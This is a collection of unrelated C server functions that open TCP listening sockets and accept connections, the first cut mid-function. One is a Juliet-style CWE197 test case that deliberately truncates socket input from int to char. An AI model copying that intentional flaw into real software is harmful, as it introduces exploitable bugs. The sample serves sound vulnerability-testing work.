from connection on port %d.\n", port); exit(1); } #ifdef DEBUG printf("Read %d bytes\n", readLen); #endif buffLen = (unsigned int)buff[0] + 256 * (unsigned int)buff[1]; #ifdef DEBUG printf("Allocating %d bytes\n", buffLen); fflush(stdout); #endif buffLong = (char *) malloc((unsigned int)buffLen); if (NULL == buffLong) { close(sockfdClient); close(sockfd); fprintf(stderr, "Error allocating buffer for %d bytes.\n", buffLen); exit(1); } for (readIdx = 0; readIdx < buffLen; readIdx += readLen) { readLen = read(sockfdClient, buffLong + readIdx, buffLen - readIdx); if (0 == readLen) { break; } else if (0 > readLen) { close(sockfdClient); close(sockfd); fprintf(stderr, "Error reading from connection on port %d.\n", port); exit(1); } } if (0 == readLen) { break; } if (readIdx > sizeof(label) - 1) { readIdx = sizeof(label) - 1; } strncpy(label, buffLong, readIdx); label[readIdx] = 0; clock_gettime(CLOCKTYPE, &timeNow); delta = timespecDiff(&timeNow, &timeBase); if (-1 == deltaPrevious) { printf(":%d:%ld::%s:\n", count, (long)(delta / 1000000), label); } else { printf(":%d:%ld:%ld:%s:\n", count, (long)(delta / 1000000), (long)((delta - deltaPrevious) / 1000000), label); } fflush(stdout); deltaPrevious = delta; free(buffLong); } close(sockfdClient); printf("CONNECTION CLOSED (%d)\n", count); fflush(stdout); } close(sockfd); return 0; }
int main(int argc, char ** argv) { int sockfd, new_fd; struct addrinfo hints, *servinfo, *p ; struct sockaddr_storage their_addr; socklen_t sin_size ; struct sigaction sa; int yes =1; //char buf[MAXDATASIZE] ; int bytes_rcv = 0 ; int bytes_snd = 0 ; char s[INET6_ADDRSTRLEN]; int rv; int wait_for_message = -1 ; //initializing variables for use in select function fd_set fdset; int client_connections[MAXCLIENTS] = {0}; int max_fd ; if(argc != 2) { printf("<usage>: ./server 5000\n"); exit(0 ); } memset(&hints,0 ,sizeof hints); //setting up the information about the type of the address to query hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; if((rv = getaddrinfo(NULL,argv[1],&hints,&servinfo)) != 0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); return 1; } sockfd = socket(servinfo->ai_family,servinfo->ai_socktype,servinfo->ai_protocol); if (sockfd == -1) { printf("could not create socket\n"); return 1; } if (setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR, &yes,sizeof (int)) == -1) { printf("setsockopt\n"); exit(1); } if (bind(sockfd,servinfo->ai_addr, servinfo->ai_addrlen) == -1) { close(sockfd); printf("socket:bind\n"); exit(1); } freeaddrinfo(servinfo); //done with the job of this structure if(listen(sockfd,BACKLOG) == -1) { printf("listen\n"); exit(1); } // initializeFD(fdset,sockfd,client_connections); sin_size = sizeof their_addr ; // max_fd = sockfd ; int i = 0 ; //counter variable int sd ; // temporary holdder int clients_to_read = 0 ; printf("Starting select loop, fdmax %d\n",sockfd) ; while(1) { /* adding logic for using select function*/ FD_ZERO(&fdset) ; FD_SET(sockfd,&fdset) ; max_fd = sockfd ; for(i = 0; i <MAXCLIENTS ;i ++) { sd = client_connections[i]; if(sd >0) { FD_SET(sd,&fdset); } if (max_fd < sd) { max_fd = sd; } } clients_to_read = select (max_fd +1 ,&fdset,NULL,NULL,NULL) ; // wait till request arrives //if (clients_to_read > 0) if (FD_ISSET(sockfd, &fdset) != 0) { new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size); if (new_fd == -1) { printf("accept error\n"); continue ; } inet_ntop(their_addr.ss_family, get_in_addr((struct sockaddr *)&their_addr), s, sizeof s); printf("server: got connection from %s and socket %d\n", s,new_fd); // adding new connection to clients array for (i = 0 ; i<MAXCLIENTS; i++) { if (client_connections[i] == 0) { client_connections[i] = new_fd ; break ; } } } for(i = 0 ; i< MAXCLIENTS ; i++) { if (FD_ISSET(client_connections[i], &fdset) !=0) { printf("In select loop: socket %d is ready to read\n", client_connections[i]) ; handle_client_connection(client_connections[i],client_connections,i) ; } } } return 0 ; }
int fs_nodos(){ //Logica principal para administrar conexiones fd_set master; //file descriptor list fd_set read_fds; //file descriptor list temporal para el select() int fdmax; //maximo numero de file descriptor para hacer las busquedas en comunicaciones int listener;//socket escucha int newfd;//file descriptor del cliente aceptado struct sockaddr_storage remoteaddr; //dirección del cliente socklen_t addrlen; char remoteIP[INET6_ADDRSTRLEN]; int i; // socket entrante struct addrinfo hints; FD_ZERO(&master); //clear the master FD_ZERO(&read_fds); //clear the temp set //Lleno la estructura de tipo addrinfo memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; t_socket_info socketInfo; socketInfo.sin_addr.s_addr = INADDR_ANY; socketInfo.sin_family = AF_INET; socketInfo.sin_port = htons(7000); memset(&(socketInfo.sin_zero), '\0', 8); listener = crearSocket(); bindearSocket(listener, socketInfo); // listen turns on server mode for a socket. if (listen(listener, 10) == -1) { perror("listen"); exit(3); } // add the listener to the master set FD_SET(listener, &master); // keep track of the biggest file descriptor fdmax = listener; // so far, it's this one for(;;){ read_fds = master; // copy it if (select(fdmax+1, &read_fds, NULL, NULL, NULL) == -1) { perror("select"); exit(4); } // run through the existing connections looking for data to read for(i = 0; i <= fdmax; i++) { if (FD_ISSET(i, &read_fds)) { // we got one!! if (i == listener) { // handle new connections addrlen = sizeof remoteaddr; newfd = accept(listener, (struct sockaddr *) &remoteaddr, &addrlen); if (newfd == -1) { log_error(logger, string_from_format( "Hubo un error en el accept para el fd: %i", i)); } else { FD_SET(newfd, &master); // add to master set if (newfd > fdmax) { // keep track of the max fdmax = newfd; } //Shows the new connection administrated log_info(logger, string_from_format( "selectserver: new connection from %s on socket %d\n", inet_ntop(remoteaddr.ss_family, get_in_addr( (struct sockaddr*) &remoteaddr), remoteIP, INET6_ADDRSTRLEN), newfd)); } } else { t_mensaje* mensaje_recibido = NULL; recibirDeserializado(logger, false, i, mensaje_recibido); tratarMensaje(i, mensaje_recibido); freeMensaje(mensaje_recibido); } } } } return EXIT_SUCCESS; }
int main(int argc, char *argv[]) { int serv_sock, clnt_sock; struct sockaddr_in serv_adr, clnt_adr; socklen_t adr_sz; int str_len, i; char buf[BUF_SIZE]; struct epoll_event *ep_events; struct epoll_event event; int epfd, event_cnt; if(argc!=2) { printf("Usage : %s <port>\n", argv[0]); exit(1); } serv_sock=socket(PF_INET, SOCK_STREAM, 0); memset(&serv_adr, 0, sizeof(serv_adr)); serv_adr.sin_family=AF_INET; serv_adr.sin_addr.s_addr=htonl(INADDR_ANY); serv_adr.sin_port=htons(atoi(argv[1])); if(bind(serv_sock, (struct sockaddr*) &serv_adr, sizeof(serv_adr))==-1) error_handling("bind() error"); if(listen(serv_sock, 5)==-1) error_handling("listen() error"); epfd=epoll_create(EPOLL_SIZE); ep_events=malloc(sizeof(struct epoll_event)*EPOLL_SIZE); setnonblockingmode(serv_sock); event.events=EPOLLIN; event.data.fd=serv_sock; epoll_ctl(epfd, EPOLL_CTL_ADD, serv_sock, &event); while(1) { event_cnt=epoll_wait(epfd, ep_events, EPOLL_SIZE, -1); if(event_cnt==-1) { puts("epoll_wait() error"); break; } puts("return epoll_wait"); for(i=0; i<event_cnt; i++) { if(ep_events[i].data.fd==serv_sock) { adr_sz=sizeof(clnt_adr); clnt_sock=accept(serv_sock, (struct sockaddr*)&clnt_adr, &adr_sz); setnonblockingmode(clnt_sock); event.events=EPOLLIN|EPOLLET; event.data.fd=clnt_sock; epoll_ctl(epfd, EPOLL_CTL_ADD, clnt_sock, &event); printf("connected client: %d \n", clnt_sock); } else { while(1) { str_len=read(ep_events[i].data.fd, buf, BUF_SIZE); if(str_len==0) // close request! { epoll_ctl(epfd, EPOLL_CTL_DEL, ep_events[i].data.fd, NULL); close(ep_events[i].data.fd); printf("closed client: %d \n", ep_events[i].data.fd); break; } else if(str_len<0) { if(errno==EAGAIN) break; } else { write(ep_events[i].data.fd, buf, str_len); // echo! } } } } } close(serv_sock); close(epfd); return 0; }
void CWE197_Numeric_Truncation_Error__int_listen_socket_to_char_07_bad() { int data; /* Initialize data */ data = -1; if(staticFive==5) { { #ifdef _WIN32 WSADATA wsaData; int wsaDataInit = 0; #endif int recvResult; struct sockaddr_in service; SOCKET listenSocket = INVALID_SOCKET; SOCKET acceptSocket = INVALID_SOCKET; char inputBuffer[CHAR_ARRAY_SIZE]; do { #ifdef _WIN32 if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR) { break; } wsaDataInit = 1; #endif /* POTENTIAL FLAW: Read data using a listen socket */ listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (listenSocket == INVALID_SOCKET) { break; } memset(&service, 0, sizeof(service)); service.sin_family = AF_INET; service.sin_addr.s_addr = INADDR_ANY; service.sin_port = htons(TCP_PORT); if (bind(listenSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR) { break; } if (listen(listenSocket, LISTEN_BACKLOG) == SOCKET_ERROR) { break; } acceptSocket = accept(listenSocket, NULL, NULL); if (acceptSocket == SOCKET_ERROR) { break; } /* Abort on error or the connection was closed */ recvResult = recv(acceptSocket, inputBuffer, CHAR_ARRAY_SIZE - 1, 0); if (recvResult == SOCKET_ERROR || recvResult == 0) { break; } /* NUL-terminate the string */ inputBuffer[recvResult] = '\0'; /* Convert to int */ data = atoi(inputBuffer); } while (0); if (listenSocket != INVALID_SOCKET) { CLOSE_SOCKET(listenSocket); } if (acceptSocket != INVALID_SOCKET) { CLOSE_SOCKET(acceptSocket); } #ifdef _WIN32 if (wsaDataInit) { WSACleanup(); } #endif } } { /* POTENTIAL FLAW: Convert data to a char, possibly causing a truncation error */ char charData = (char)data; printHexCharLine(charData); } }
//*********************************************************************** // // ENTRY: zNetListen // // PURPOSE: Sets up some scheme to listen for messages from other PC's. // // DESCRIPTION: This call creates a socket to listen for connections from // other nodes on the network. // // PARAMETERS: pszNetworkName - Unique internal 'Zeidon' name of the // network. // ppHandle - Network pointer to buffer created in // zNetStartup. // // RETURNS: 0 - Listen created successfully. // zCALL_ERROR - Error. // //*********************************************************************** int PASCAL zNetListen( LPSTR pszNetworkName, LPVOID * ppHandle ) { LPSOCKETS lpSockets = (LPSOCKETS) *ppHandle; SOCKET sock; SOCKADDR_IN LocalSock; /* Local socket - internet style */ char szHostName[ 200 ]; int nTraceLevel = TRACELEVEL; if ( nTraceLevel > 1 ) { TraceLineS( "(zwinsock) Starting listen", "" ); } sock = socket( AF_INET, SOCK_STREAM, 0 ); if ( sock == INVALID_SOCKET ) { fnShowError( "socket" ); SysMessageBox( 0, "socket( ) failed", szlErrorTitle, MB_OK ); closesocket( sock ); return( zCALL_ERROR ); } // Create the local socket information. LocalSock.sin_family = AF_INET; gethostname( szHostName, sizeof( szHostName ) ); LocalSock.sin_addr.s_addr = INADDR_ANY; LocalSock.sin_port = htons( 2000 ); // Try to bind the socket. if ( bind( sock, (struct sockaddr FAR *) &LocalSock, sizeof( LocalSock ) ) == SOCKET_ERROR ) { fnShowError( "bind" ); MessageBox( 0, "bind(sock) failed", szlErrorTitle, MB_OK ); closesocket( sock ); return( zCALL_ERROR ); } if ( listen( sock, MAX_PENDING_CONNECTS ) < 0 ) { fnShowError( "listen" ); MessageBox( 0, "listen(sock) failed", szlErrorTitle, MB_OK ); closesocket( sock ); return( zCALL_ERROR ); } if ( WSAAsyncSelect( sock, lpSockets->hwndMain, WSA_ACCEPT, FD_ACCEPT ) == SOCKET_ERROR ) { fnShowError( "WSAAsyncSelect" ); MessageBox( 0, "WSAAsyncSelect(sock) failed", szlErrorTitle, MB_OK ); closesocket( sock ); return( zCALL_ERROR ); } lpSockets->sockListen = sock; if ( nTraceLevel > 1 ) { TraceLineS( "(zwinsock) Listen started OK!", "" ); } return( 0 ); } // zNetListen
/** * @brief tcpserver accept tcp connect receive data and output on debug thermal. * @param void* parameter :unused. */ static void tcpserv(void* parameter) { char *recv_data; /* 用于接收的指针,后面会做一次动态分配以请求可用内存 */ u32_t sin_size; int sock, connected, bytes_received; struct sockaddr_in server_addr, client_addr; bool stop = FALSE; /* 停止标志 */ recv_data = mem_malloc(RECV_BUFFER_SIZE); /* 分配接收用的数据缓冲 */ if (recv_data == NULL) { printf("No memory\n"); return; } /* 一个socket在使用前,需要预先创建出来,指定SOCK_STREAM为TCP的socket */ if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { /* 创建失败的错误处理 */ printf("Socket error\n"); /* 释放已分配的接收缓冲 */ mem_free(recv_data); return; } /* 初始化服务端地址 */ server_addr.sin_family = AF_INET; server_addr.sin_port = htons(TCPSERVER_PORT_NO); /* 服务端工作的端口 */ server_addr.sin_addr.s_addr = INADDR_ANY; memset(&(server_addr.sin_zero),8, sizeof(server_addr.sin_zero)); /* 绑定socket到服务端地址 */ if (bind(sock, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1) { /* 绑定失败 */ printf("Unable to bind\n"); /* 释放已分配的接收缓冲 */ mem_free(recv_data); return; } /* 在socket上进行监听 */ if (listen(sock, 5) == -1) { printf("Listen error\n"); /* release recv buffer */ mem_free(recv_data); return; } printf("\nTCPServer Waiting for client on port %d...\n", TCPSERVER_PORT_NO); while(stop != TRUE) { sin_size = sizeof(struct sockaddr_in); /* 接受一个客户端连接socket的请求,这个函数调用是阻塞式的 */ connected = accept(sock, (struct sockaddr *)&client_addr, &sin_size); /* 返回的是连接成功的socket */ /* 接受返回的client_addr指向了客户端的地址信息 */ printf("I got a connection from (%s , %d)\n", inet_ntoa(client_addr.sin_addr),ntohs(client_addr.sin_port)); /* 客户端连接的处理 */ while (1) { /* 发送数据到connected socket */ //send(connected, send_data, strlen(send_data), 0); /* 从connected socket中接收数据,接收buffer是1024大小,但并不一定能够收到1024大小的数据 */ bytes_received = recv(connected,recv_data, RECV_BUFFER_SIZE, 0); if (bytes_received <= 0) { if(bytes_received == 0) printf("client close connection.\n"); else printf("received failed, server close connection.\n"); /* 接收失败,关闭这个connected socket */ lwip_close(connected); break; } /* 有接收到数据,把末端清零 */ recv_data[bytes_received] = '\0'; if (strcmp(recv_data , "q") == 0 || strcmp(recv_data , "Q") == 0) { /* 如果是首字母是q或Q,关闭这个连接 */ printf("receive \"q\" command, close connection.\n"); lwip_close(connected); // close socket break; } else if (strcmp(recv_data, "exit") == 0) { /* 如果接收的是exit,则关闭整个服务端 */ printf("receive \"exit\" command, exit tcpserver task.\n"); lwip_close(connected); // close socket stop = TRUE; break; } else { /* 在控制终端显示收到的数据 */ printf("RECIEVED DATA = %s \n" , recv_data); } } // end of while(1) } // end of while(stop != TRUE) /* 释放接收缓冲 */ mem_free(recv_data); return ; }
int main(int argc, char **argv) { int i, c; int pid_flags = 0; char *user = NULL; char *password = NULL; char *timeout = NULL; char *method = NULL; char *pid_path = NULL; char *conf_path = NULL; char *iface = NULL; int server_num = 0; const char *server_host[MAX_REMOTE_NUM]; char * nameservers[MAX_DNS_NUM + 1]; int nameserver_num = 0; int option_index = 0; static struct option long_options[] = { { "fast-open", no_argument, 0, 0 }, { "acl", required_argument, 0, 0 }, { "manager-address", required_argument, 0, 0 }, { 0, 0, 0, 0 } }; opterr = 0; USE_TTY(); while ((c = getopt_long(argc, argv, "f:s:p:l:k:t:m:c:i:d:a:uUvA", long_options, &option_index)) != -1) { switch (c) { case 0: if (option_index == 0) { fast_open = 1; } else if (option_index == 1) { LOGI("initialize acl..."); acl = !init_acl(optarg); } else if (option_index == 2) { manager_address = optarg; } break; case 's': if (server_num < MAX_REMOTE_NUM) { server_host[server_num++] = optarg; } break; case 'p': server_port = optarg; break; case 'k': password = optarg; break; case 'f': pid_flags = 1; pid_path = optarg; break; case 't': timeout = optarg; break; case 'm': method = optarg; break; case 'c': conf_path = optarg; break; case 'i': iface = optarg; break; case 'd': if (nameserver_num < MAX_DNS_NUM) { nameservers[nameserver_num++] = optarg; } break; case 'a': user = optarg; break; case 'u': mode = TCP_AND_UDP; break; case 'U': mode = UDP_ONLY; break; case 'v': verbose = 1; break; case 'A': auth = 1; break; } } if (opterr) { usage(); exit(EXIT_FAILURE); } if (argc == 1) { if (conf_path == NULL) { conf_path = DEFAULT_CONF_PATH; } } if (conf_path != NULL) { jconf_t *conf = read_jconf(conf_path); if (server_num == 0) { server_num = conf->remote_num; for (i = 0; i < server_num; i++) { server_host[i] = conf->remote_addr[i].host; } } if (server_port == NULL) { server_port = conf->remote_port; } if (password == NULL) { password = conf->password; } if (method == NULL) { method = conf->method; } if (timeout == NULL) { timeout = conf->timeout; } #ifdef TCP_FASTOPEN if (fast_open == 0) { fast_open = conf->fast_open; } #endif #ifdef HAVE_SETRLIMIT if (nofile == 0) { nofile = conf->nofile; } /* * no need to check the return value here since we will show * the user an error message if setrlimit(2) fails */ if (nofile) { if (verbose) { LOGI("setting NOFILE to %d", nofile); } set_nofile(nofile); } #endif if (conf->nameserver != NULL) { nameservers[nameserver_num++] = conf->nameserver; } } if (server_num == 0) { server_host[server_num++] = NULL; } if (server_num == 0 || server_port == NULL || password == NULL) { usage(); exit(EXIT_FAILURE); } if (method == NULL) { method = "table"; } if (timeout == NULL) { timeout = "60"; } if (pid_flags) { USE_SYSLOG(argv[0]); daemonize(pid_path); } if (fast_open == 1) { #ifdef TCP_FASTOPEN LOGI("using tcp fast open"); #else LOGE("tcp fast open is not supported by this environment"); #endif } if (auth) { LOGI("onetime authentication enabled"); } #ifdef __MINGW32__ winsock_init(); #else // ignore SIGPIPE signal(SIGPIPE, SIG_IGN); signal(SIGCHLD, SIG_IGN); signal(SIGABRT, SIG_IGN); #endif struct ev_signal sigint_watcher; struct ev_signal sigterm_watcher; ev_signal_init(&sigint_watcher, signal_cb, SIGINT); ev_signal_init(&sigterm_watcher, signal_cb, SIGTERM); ev_signal_start(EV_DEFAULT, &sigint_watcher); ev_signal_start(EV_DEFAULT, &sigterm_watcher); // setup keys LOGI("initialize ciphers... %s", method); int m = enc_init(password, method); // inilitialize ev loop struct ev_loop *loop = EV_DEFAULT; // setup udns if (nameserver_num == 0) { #ifdef __MINGW32__ nameservers[nameserver_num++] = "8.8.8.8"; resolv_init(loop, nameservers, nameserver_num); #else resolv_init(loop, NULL, 0); #endif } else { resolv_init(loop, nameservers, nameserver_num); } for (int i = 0; i < nameserver_num; i++) { LOGI("using nameserver: %s", nameservers[i]); } // inilitialize listen context struct listen_ctx listen_ctx_list[server_num]; // bind to each interface while (server_num > 0) { int index = --server_num; const char * host = server_host[index]; if (mode != UDP_ONLY) { // Bind to port int listenfd; listenfd = create_and_bind(host, server_port); if (listenfd < 0) { FATAL("bind() error"); } if (listen(listenfd, SSMAXCONN) == -1) { FATAL("listen() error"); } setnonblocking(listenfd); struct listen_ctx *listen_ctx = &listen_ctx_list[index]; // Setup proxy context listen_ctx->timeout = atoi(timeout); listen_ctx->fd = listenfd; listen_ctx->method = m; listen_ctx->iface = iface; listen_ctx->loop = loop; ev_io_init(&listen_ctx->io, accept_cb, listenfd, EV_READ); ev_io_start(loop, &listen_ctx->io); } // Setup UDP if (mode != TCP_ONLY) { init_udprelay(server_host[index], server_port, m, atoi(timeout), iface); } LOGI("listening at %s:%s", host ? host : "*", server_port); } if (manager_address != NULL) { ev_timer_init(&stat_update_watcher, stat_update_cb, UPDATE_INTERVAL, UPDATE_INTERVAL); ev_timer_start(EV_DEFAULT, &stat_update_watcher); } if (mode != TCP_ONLY) { LOGI("UDP relay enabled"); } if (mode == UDP_ONLY) { LOGI("TCP relay disabled"); } // setuid if (user != NULL) { run_as(user); } // Init connections cork_dllist_init(&connections); // start ev loop ev_run(loop, 0); if (verbose) { LOGI("closed gracefully"); } if (manager_address != NULL) { ev_timer_stop(EV_DEFAULT, &stat_update_watcher); } // Clean up for (int i = 0; i <= server_num; i++) { struct listen_ctx *listen_ctx = &listen_ctx_list[i]; if (mode != UDP_ONLY) { ev_io_stop(loop, &listen_ctx->io); close(listen_ctx->fd); } } if (mode != UDP_ONLY) { free_connections(loop); } if (mode != TCP_ONLY) { free_udprelay(); } resolv_shutdown(loop); #ifdef __MINGW32__ winsock_cleanup(); #endif ev_signal_stop(EV_DEFAULT, &sigint_watcher); ev_signal_stop(EV_DEFAULT, &sigterm_watcher); return 0; }
/** * \brief Callback to get the Socket event. * * \param[in] sock Socket descriptor. * \param[in] u8Msg Type of Socket notification. Possible types are: * - [SOCKET_MSG_CONNECT](@ref SOCKET_MSG_CONNECT) * - [SOCKET_MSG_BIND](@ref SOCKET_MSG_BIND) * - [SOCKET_MSG_LISTEN](@ref SOCKET_MSG_LISTEN) * - [SOCKET_MSG_ACCEPT](@ref SOCKET_MSG_ACCEPT) * - [SOCKET_MSG_RECV](@ref SOCKET_MSG_RECV) * - [SOCKET_MSG_SEND](@ref SOCKET_MSG_SEND) * - [SOCKET_MSG_SENDTO](@ref SOCKET_MSG_SENDTO) * - [SOCKET_MSG_RECVFROM](@ref SOCKET_MSG_RECVFROM) * \param[in] pvMsg A structure contains notification informations. */ static void socket_cb(SOCKET sock, uint8_t u8Msg, void *pvMsg) { switch (u8Msg) { /* Socket bind. */ case SOCKET_MSG_BIND: { tstrSocketBindMsg *pstrBind = (tstrSocketBindMsg *)pvMsg; if (pstrBind && pstrBind->status == 0) { printf("socket_cb: bind success.\r\n"); listen(tcp_server_socket, 0); } else { printf("socket_cb: bind error!\r\n"); } } break; /* Socket listen. */ case SOCKET_MSG_LISTEN: { tstrSocketListenMsg *pstrListen = (tstrSocketListenMsg *)pvMsg; if (pstrListen && pstrListen->status == 0) { printf("socket_cb: listen success.\r\n"); accept(tcp_server_socket, NULL, NULL); } else { printf("socket_cb: listen error!\r\n"); } } break; /* Connect accept. */ case SOCKET_MSG_ACCEPT: { tstrSocketAcceptMsg *pstrAccept = (tstrSocketAcceptMsg *)pvMsg; if (pstrAccept) { printf("socket_cb: accept success.\r\n"); accept(tcp_server_socket, NULL, NULL); tcp_client_socket = pstrAccept->sock; tcp_connected = 1; recv(tcp_client_socket, gau8SocketBuffer, sizeof(gau8SocketBuffer), 0); } else { printf("socket_cb: accept error!\r\n"); close(tcp_server_socket); tcp_server_socket = -1; tcp_connected = 0; } } break; /* Socket connected. */ case SOCKET_MSG_CONNECT: { tstrSocketConnectMsg *pstrConnect = (tstrSocketConnectMsg *)pvMsg; if (pstrConnect && pstrConnect->s8Error >= 0) { printf("socket_cb: connect success.\r\n"); tcp_connected = 1; recv(tcp_client_socket, gau8SocketBuffer, sizeof(gau8SocketBuffer), 0); } else { printf("socket_cb: connect error!\r\n"); tcp_connected = 0; } } break; /* Message send. */ case SOCKET_MSG_SEND: { recv(tcp_client_socket, gau8SocketBuffer, sizeof(gau8SocketBuffer), 0); } break; /* Message receive. */ case SOCKET_MSG_RECV: { tstrSocketRecvMsg *pstrRecv = (tstrSocketRecvMsg *)pvMsg; if (pstrRecv && pstrRecv->s16BufferSize > 0) { if (!strncmp((char *)pstrRecv->pu8Buffer, REMOTE_CMD_INDICATOR, INDICATOR_STRING_LEN)) { parse_command((char *)(pstrRecv->pu8Buffer + INDICATOR_STRING_LEN), 1); } else { PRINT_REMOTE_MSG(pstrRecv->pu8Buffer); } } else { printf("socket_cb: recv error!\r\n"); disconnect_cmd_handler(NULL); break; } recv(tcp_client_socket, gau8SocketBuffer, sizeof(gau8SocketBuffer), 0); } break; default: break; } }
void main(int argc, char *argv[]) { if(!argv[1]) { puts("Error! "); exit(0); } int port; int cSocket, lSocket; struct sockaddr_in sAddr; struct sockaddr_in cAddr; socklen_t addr_size = sizeof(struct sockaddr); char *p; char *msg1, *msg2; time_t timer; const long res=strtol(argv[1], &p, 10); if(p!=strchr(argv[1], '\0')) { puts("Error port!"); exit(0); } port=atoi(argv[1]); lSocket=socket(AF_INET, SOCK_STREAM, 0); if(!lSocket) { puts("Socket create Error!"); exit(0); } sAddr.sin_family=AF_INET; sAddr.sin_port=htons(port); sAddr.sin_addr.s_addr=htonl(INADDR_ANY); if(bind(lSocket, (struct sockaddr *)&sAddr, sizeof(sAddr))<0) { puts("bind Error!"); exit(0); } listen(lSocket, 10); while(1) { cSocket=accept(lSocket, &cAddr, &addr_size); if(!cSocket) { puts("accept Error!"); exit(0); } msg1="msg from server"; //timer=time(NULL); //*msg2=ctime(&timer); write(cSocket, msg1, strlen(msg1)); //write(cSocket, msg2, strlen(msg2)); write(cSocket, "\n\n", 2); close(cSocket); } close(lSocket); puts("done!"); }
void run(EpmdVars *g) { int listensock; int i; int opt; struct EPMD_SOCKADDR_IN iserv_addr; node_init(g); g->conn = conn_init(g); dbg_printf(g,2,"try to initiate listening port %d", g->port); if ((listensock = socket(FAMILY,SOCK_STREAM,0)) < 0) { dbg_perror(g,"error opening stream socket"); epmd_cleanup_exit(g,1); } g->listenfd = listensock; /* * Initialize number of active file descriptors. * Stdin, stdout, and stderr are still open. * One for the listen socket. */ g->active_conn = 3+1; /* * Note that we must not enable the SO_REUSEADDR on Windows, * because addresses will be reused even if they are still in use. */ #if (!defined(__WIN32__) && !defined(_OSE_)) /* We ignore the SIGPIPE signal that is raised when we call write twice on a socket closed by the other end. */ signal(SIGPIPE, SIG_IGN); opt = 1; /* Set this option */ if (setsockopt(listensock,SOL_SOCKET,SO_REUSEADDR,(char* ) &opt, sizeof(opt)) <0) { dbg_perror(g,"can't set sockopt"); epmd_cleanup_exit(g,1); } #endif /* In rare cases select returns because there is someone to accept but the request is withdrawn before the accept function is called. We set the listen socket to be non blocking to prevent us from being hanging in accept() waiting for the next request. */ #ifdef _OSE_ opt = 1; if (ioctl(listensock, FIONBIO, (char*)&opt) != 0) #else #if (defined(__WIN32__) || defined(NO_FCNTL)) opt = 1; if (ioctl(listensock, FIONBIO, &opt) != 0) /* Gives warning in VxWorks */ #else opt = fcntl(listensock, F_GETFL, 0); if (fcntl(listensock, F_SETFL, opt | O_NONBLOCK) == -1) #endif /* __WIN32__ || VXWORKS */ #endif /* _OSE_ */ dbg_perror(g,"failed to set non-blocking mode of listening socket %d", listensock); { /* store port number in unsigned short */ unsigned short sport = g->port; SET_ADDR_ANY(iserv_addr, FAMILY, sport); } #ifdef _OSE_ { int optlen = sizeof(opt); opt = 1; if(getsockopt(listensock, SOL_SOCKET, SO_REUSEADDR, (void*)&opt, &optlen) < 0) fprintf(stderr, "\n\nGETSOCKOPT FAILS! %d\n\n", errno); else if(opt == 1) fprintf(stderr, "SO_REUSEADDR is set!\n"); } #endif if(bind(listensock,(struct sockaddr*) &iserv_addr, sizeof(iserv_addr)) < 0 ) { if (errno == EADDRINUSE) { dbg_tty_printf(g,1,"there is already a epmd running at port %d", g->port); epmd_cleanup_exit(g,0); } else { dbg_perror(g,"failed to bind socket"); epmd_cleanup_exit(g,1); } } dbg_printf(g,2,"starting"); listen(listensock, SOMAXCONN); FD_ZERO(&g->orig_read_mask); FD_SET(listensock,&g->orig_read_mask); dbg_tty_printf(g,2,"entering the main select() loop"); select_again: while(1) { fd_set read_mask = g->orig_read_mask; struct timeval timeout; int ret; /* If we are idle we time out now and then to enable the code below to close connections that are old and probably hanging. Make sure that select will return often enough. */ timeout.tv_sec = (g->packet_timeout < IDLE_TIMEOUT) ? 1 : IDLE_TIMEOUT; timeout.tv_usec = 0; if ((ret = select(g->max_conn,&read_mask,(fd_set *)0,(fd_set *)0,&timeout)) < 0) dbg_perror(g,"error in select "); else { time_t now; if (ret == 0) { FD_ZERO(&read_mask); } if (g->delay_accept) { /* Test of busy server */ sleep(g->delay_accept); } if (FD_ISSET(listensock,&read_mask)) { if (do_accept(g, listensock) && g->active_conn < g->max_conn) { /* * The accept() succeeded, and we have at least one file * descriptor still free, which means that another accept() * could succeed. Go do do another select(), in case there * are more incoming connections waiting to be accepted. */ goto select_again; } } /* Check all open streams marked by select for data or a close. We also close all open sockets except ALIVE with no activity for a long period */ now = current_time(g); for (i = 0; i < g->max_conn; i++) { if (g->conn[i].open == EPMD_TRUE) { if (FD_ISSET(g->conn[i].fd,&read_mask)) do_read(g,&g->conn[i]); else if ((g->conn[i].keep == EPMD_FALSE) && ((g->conn[i].mod_time + g->packet_timeout) < now)) { dbg_tty_printf(g,1,"closing because timed out on receive"); epmd_conn_close(g,&g->conn[i]); } } } } } }
int createConnection(char * portNum) { int sockfd, new_fd; struct addrinfo hints, *servinfo, *p; struct sockaddr_storage their_addr; socklen_t sin_size; struct sigaction sa; int yes=1; char s[INET6_ADDRSTRLEN]; int rv; int numbytes; memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; //use localhost as IP //List all available addresses to be bound in the next step if ((rv = getaddrinfo(NULL, portNum, &hints, &servinfo)) != 0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); return 1; } //Bind on first viable result for(p = servinfo; p != NULL; p = p->ai_next) { if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { perror("server: socket"); continue; } if(setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) { perror("setsockopt"); exit(1); } if(bind(sockfd, p->ai_addr, p->ai_addrlen) == -1) { close(sockfd); perror("server:bind"); continue; } break; } freeaddrinfo(servinfo); if (p == NULL) { fprintf(stderr, "server: failed to bind socket\n"); exit(1); } if (listen(sockfd, BACKLOG) == -1) { perror("listen"); exit(1); } printf("Server: waiting for connections...\n"); sin_size = sizeof their_addr; //Assigns request as new connected socket new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size); close(sockfd); if (new_fd == -1) { perror("accept"); exit(1); } inet_ntop(their_addr.ss_family, get_in_addr((struct sockaddr *)&their_addr), s, sizeof s); return new_fd; }
